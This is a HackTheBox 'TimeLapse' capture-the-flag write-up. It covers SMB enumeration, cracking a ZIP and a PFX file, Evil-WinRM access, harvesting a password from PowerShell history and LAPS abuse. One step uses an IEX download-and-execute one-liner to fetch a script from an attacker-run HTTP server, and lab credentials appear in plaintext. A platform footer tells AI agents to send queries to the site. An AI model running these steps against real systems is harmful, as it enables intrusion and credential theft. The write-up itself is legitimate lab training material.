> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md).

# TimeLapse HackTheBox Writeup

TimeLapse HackTheBox Easy Windows machine writeup covering SMB Enumeration, Cracking ZIP Password Protected File (fcrackzip), Cracking and reading .PFX File (crackpkcs12), Gaining SSL access with Evil

{% embed url="<https://app.hackthebox.com/machines/452>" %}

{% hint style="warning" %}
**Skills:**

* SMB Enumeration
* Cracking ZIP Password Protected File (fcrackzip)
* Cracking and reading .PFX File (crackpkcs12)
* Gaining SSL access with Evil-WinRM
* Information Leakage - Reading the user's Powershell history (User Pivoting)
* Abusing LAPS to get passwords (Get-LAPSPasswords.ps1) (Privilege Escalation)
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.<br>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbdda04914970a13436aeb46e472010c96530cc2%2Fimage%20(2106).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0b43520a5cccdf1bff5caec2657403f7b2dae97%2Fimage%20(2107).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-035f9968d3483108fdd45ce39d7e598bb28aaad3%2Fimage%20(1615).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analysis of open ports with extractport:**/ Using the extractport function to in a concise format display open ports and copy them to the clipboard.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e9c74aa76a6969cf55fa5dab1db8f1ed8ab5e59%2Fimage%20(1616).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port Version Scan with Nmap :**/ Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8df1b7ceb8ed4ba9a8f56a411f56f50fac2ced54%2Fimage%20(1617).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Configuration of /etc/hosts file for DNS resolution.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b368624a0ab2302947a234edb3564954f1ef9db%2Fimage%20(1619).png?alt=media" alt=""><figcaption></figcaption></figure>

## **List and exploitation:**

### Identify the machine name and domain

Using CrackMapExec to identify the name of the machine and its domain.

```bash
crackmapexec smb 10.10.11.152
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20af1583f99d6e3bbe64c072a9eba237a86bdd01%2Fimage%20(1618).png?alt=media" alt=""><figcaption></figcaption></figure>

### List shared files with SMB:

Using smbclient and smbmap to list shared files.

```bash
smbclient -L 10.10.11.152 -N
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-376e6c6b90790267726f00c074ecba227e3daddb%2Fimage%20(1620).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.11.152 -u 'null'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64def11bf9d89c4cad5afdd1c920476e86c92d38%2Fimage%20(1621).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Access to shared folder and discovery of password protected ZIP file**

Exploration and identification of files in the shared folder, revealing a protected ZIP file.

```bash
smbclient //10.10.11.152/Shares -N
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5ea61bd1e31a594d5832d1c919c71f619e1b6add%2Fimage%20(1624).png?alt=media" alt=""><figcaption></figcaption></figure>

### **ZIP file crack with fcrackzip**

Using fcrackzip to try to find the ZIP file password.

```bash
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-232c48ba68cf71adcd7b76e2e8680ac6ba4c860a%2Fimage%20(1625).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Extraction from.PFX file**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eb3c1c04681ff2f5fec5aabd712c51f637d67cbc%2Fimage%20(1627).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c72343083b02915714ec91f3971baad9de4be74%2Fimage%20(1628).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Crack.PFX file password:**

#### To crack a pfx file by cracking the password, the crackpkcs12 tool will be used.

{% embed url="<https://github.com/crackpkcs12/crackpkcs12>" %}

```bash
crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b8c1ca8abc39155f45fbfb574899d44c24d22e8%2Fimage%20(1630).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Get private key and certificate from file. PFX**

Recovery of private key

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3148b69e02bd1853e62a43ac3e27fddb0eedf49a%2Fimage%20(1632).png?alt=media" alt=""><figcaption></figcaption></figure>

Recovery of certificate

```bash
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dc3fe3a67201a5f17c6b4d5c3a5b2d30df971ee%2Fimage%20(1633).png?alt=media" alt=""><figcaption></figcaption></figure>

### **SSL connection with Evil-WinRM using private key and certificate**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-53377a379d295c669d34bd555ed463327ef10cfb%2Fimage%20(1634).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df8146e1a35574fa67c593e58e1c4d1ca4118ac6%2Fimage%20(1635).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Get first flag**

Obtaining the first flag, "user.txt"

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf25bb5164f473f836bdf0bbfa6762dffe382c33%2Fimage%20(1636).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation:

**List of DC users and privileges with net users and whoami /priv**

Identification of users and privileges on the domain controller.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b69e447987b85f7d34e7d7e22c7b174bc56947a%2Fimage%20(1637).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-faf9315a1d6fef959e6b053e5d472fdea8280f20%2Fimage%20(1638).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Analysis of user groups and discovery of user membership "svc/ deploy" in the group "LAPS/ Readers"**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d09652ff508325d5511ed785ac70ce4d370f73b%2Fimage%20(1639).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Get user password "svc/ deploy" by reading the PowerShell history**

```bash
type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe6a4c8f1a4fe542937aa63375cf6ef8f0c580c3%2Fimage%20(1640).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Password validation with CrackMapExec**

Confirmation of password validity obtained using CrackMapExec.

```bash
crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff76bb25a159fce9188cb57fafa0a02bd7601a77%2Fimage%20(1641).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Login to Evil-WinRM using the user credentials "svc/ deploy"**

Connecting to the remote system using the user credentials "svc/ deploy" with Evil-WinRM.

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
</strong></code></pre>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10958c847e4cbb46388b67537471799c015fe8b9%2Fimage%20(1609).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Use of Get-LAPSPasswords to extract passwords**

{% embed url="<https://github.com/kfosaaen/Get-LAPSPasswords>" %}

#### **Download the Get-LAPSPasswords script**

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1')
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76610dd82c5370e2e9f31fe9696b0cc6d3dcfcb5%2Fimage%20(1610).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Script execution and recovery of administrative passwords**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6963e1158a54e8e7757cc14a162ceb911452bfda%2Fimage%20(1611).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Administration password validation with CrackMapExec**

Confirmation of password validity obtained using CrackMapExec from the User Administrator.

```basic
crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe7f7634f70ed9d641532adfed5e5056da90feef%2Fimage%20(1612).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Final connection with Evil-WinRM using administrator IDs**

Final connection to the system with administrative credentials via Evil-WinRM.

```bash
evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf0ad4174f7bd8997d203a25bef1489e6c9d054a%2Fimage%20(1613).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Final Flag Obtained :)**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8017dd91a437356c6b0c4516d6864df6bb4835e%2Fimage%20(1614).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ebeffecf9aefd3e814328de37b87746b146fc71%2Fimage%20(1411).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
